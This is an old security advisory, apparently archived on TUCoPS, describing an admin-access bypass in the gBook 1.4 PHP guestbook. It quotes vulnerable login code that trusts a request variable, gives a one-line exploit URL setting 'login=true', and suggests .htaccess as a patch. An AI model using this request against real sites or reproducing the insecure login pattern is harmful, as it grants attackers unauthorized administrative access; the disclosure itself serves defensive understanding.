TUCoPS :: Web :: PHP :: gbook.txt

gBook PHP Exploit



Informations :
°°°°°°°°°°°°°°
Language : PHP
Tested version : 1.4
Problem : Admin access

PHP Code :
°°°°°°°°°°
/gb/index.php :
------------------------------------------------------
<?php
include("config.inc.php");
if($action == "login") {
	if($user == $loginu && $pw == $loginpw)
	{
		setcookie("login", "true", time()+3600);
		header("location: index.php");
	}
	else
	{
		setcookie("login", "false", -3600);
		header("location: index.php?fehler=login");
	}
}
?>
[...]
<?php
if($login == "true")
{
[ADMIN CODE]
[...]
------------------------------------------------------

Exploit :
°°°°°°°°°
http://[Target]/gb/index.php?login=true

Patch :
°°°°°°°
Using of .htaccess.

More details in french :
http://www.frog-man.org/tutos/gBook.txt
Translated by google :
http://translate.google.com/translate?u=http%3A%2F%2Fwww.frog-man.org%2Ftutos%2FgBook.txt&langpair=fr%7Cen&hl=fr&ie=ASCII&oe=ASCII

frog-m@n

_________________________________________________________________
MSN Messenger : discutez en direct avec vos amis ! 
http://www.msn.fr/msger/default.asp

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH